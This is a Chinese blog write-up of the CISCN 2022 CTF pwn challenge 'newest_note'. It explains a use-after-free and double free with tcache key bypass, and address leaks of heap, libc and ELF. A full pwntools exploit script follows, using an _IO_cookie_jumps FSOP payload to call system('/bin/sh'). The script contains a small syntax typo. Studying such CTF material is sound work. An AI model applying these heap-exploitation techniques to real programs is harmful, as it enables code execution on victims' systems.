ciscn 2022 pwn-newest_note复现

本文讲述了通过del函数free后未清零指针,利用doublefree和malloc溢出技巧,逐步泄露elf和libc基址,进而操纵heap和函数指针,实现对程序控制权的获取。涉及IO函数、heap数组操作、key修改和 libc漏洞利用等攻击步骤。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

刚开始有个溢出(太菜了,其他师傅提醒才看出来)
在这里插入图片描述
del 函数里面 free之后指针没有清0
在这里插入图片描述
攻击思路:
如果elf里面使用了stdout,等,那么IO函数里面取到的stdout就是bss段上的stdout,否则就是libc里面的stdout。IO函数位于libc里面,libc里面有一处地方可以泄露elf基址(这段区域是只读的)
在这里插入图片描述
考虑alloc到heap数组上,然后修改成员为图中的地址,这样就可以leak elf的地址了(leak之后是为了后面修改free count做准备)。前提是得先leak libc基址

free_count限制了11次,填满tcache bin之后再利用fastbin的double free是不太可能的,这里直接利用malloc的溢出,然后add使新的成原刚好位于某一个chunk的key处,来实现修改key的效果,这样就能绕过tcache bin的double free检测

首先利用double free alloc到HeapArr(需要大于0x410,这样才能放到unsorted bin里面),之后add,show 来leak libc,再次add写图中地址到HeapArr中,show,leak elf基址,

之后再次利用double free修改fd到free_count 处,改为一个较大的数,之后瞎JB搞就可以了

from pwn import*
sh = process('./pwn')

def add(idx,content):
    sh.sendlineafter(b': ',b'1')
    sh.sendlineafter(b'Index: ',str(idx).encode())
    sh.sendafter(b'Content: ',content)
    pass

def show(idx):a
    sh.sendlineafter(b': ',b'3')
    sh.sendlineafter(b'Index: ',str(idx).encode())
    pass

def free(idx):
    sh.sendlineafter(b': ',b'2')
    sh.sendlineafter(b'Index: ',str(idx).encode())
    pass

def enc_ptr(ptr,guard):
    for i in range(0x11):
        ptr = ((ptr<<1) | (ptr>>63))
    return (ptr^guard)

count = 0x40000400
sh.sendlineafter(b'How many pages your notebook will be? :',str(count))

#gdb.attach(sh)

#leak libc
add(4,b'a')
add(5,b'a')
add(6,b'a')

add(14,b'a')
add(13,b'a')
add(12,b'a')

#leak heap base:
free(6)
free(5)
free(4)
#leak heap base
show(6)
sh.recvuntil(b'Content: ')
heap_base = (u64(sh.recvline()[:-1].ljust(8,b'\x00')) - 2)<<12
log.success('heap_base:%x',heap_base)


#add write key
add(1035,b'a')
free(5)

fd = heap_base + 0x2a0
add(4,p64(fd^(((heap_base + 0x22f0)>>12))))
add(5,b'a')
#alloc to heap arr
add(6,p64(0x0))
free(6)

add(2,b'\xc0')
show(2)
sh.recvuntil(b'Content: ')
libc_base = u64(sh.recvline()[:-1].ljust(8,b'\x00')) - 0x219cc0 - 0x700
log.success('libc_base:%x',libc_base)

#leak elf base:
emmm = libc_base + 0x218e38
add(20,p64(emmm))
show(8)
sh.recvuntil(b'Content: ')
elf_base = u64(sh.recvline()[:-1].ljust(8,b'\x00')) - 0x4160
log.success('elf_base:%x',elf_base)
free_count = elf_base + 0x4010
log.success('free_count:%x',free_count)
#modify free count -> 0xfffffffff
free(14)
free(4)
free(2)
add(1035,b'a')
free(4)
add(4,p64(free_count^(((heap_base + 0x22f0)>>12))))
add(4,p64(0))
add(5,p32(0x7fffffff))
#####

#modify fs:[0x30] 
fs_0x30 = libc_base-10432 + 0x30

free(13)
free(4)
free(2)
add(1035,b'a')
free(4)
add(4,p64(fs_0x30^(((heap_base + 0x22f0)>>12))))
add(4,p64(0))
add(5,p64(0))
####
vtable = libc_base + 0x21a830 - 0x10
bin_sh = libc_base + 0x1D7CBA
system = libc_base + 0x50ae0
_IO_cookie_jumps_off = libc_base + 0x215bb8
payload = p64(0) + p64(0)
payload += p64(0)
payload += p64(_IO_cookie_jumps_off)
payload += p64(bin_sh)
payload += p64(enc_ptr(system,0))

free(12)
free(4)
free(2)
add(1035,b'a')
free(4)
add(4,p64(vtable^(((heap_base + 0x22f0)>>12))))
add(4,p64(0))
#gdb.attach(sh,'b*$rebase(0x013EA)')
add(5,payload)
sh.interactive()

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Suspend.

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值